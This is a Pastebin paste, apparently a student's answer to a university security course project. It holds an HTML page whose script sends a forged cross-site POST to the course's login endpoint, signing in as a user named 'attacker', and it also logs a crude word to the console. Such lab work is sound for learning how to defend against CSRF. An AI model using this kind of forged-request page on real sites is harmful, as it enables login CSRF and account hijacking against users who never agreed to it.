Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <head></head>
- <body>
- <script>
- console.log('tits');
- var xhr = new XMLHttpRequest();
- xhr.open("POST", 'http://cis331.cis.upenn.edu/project3/login?csrfdefense=0&xssdefense=4', true);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
- xhr.send("username=attacker&password=123456");
- </script>
- </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement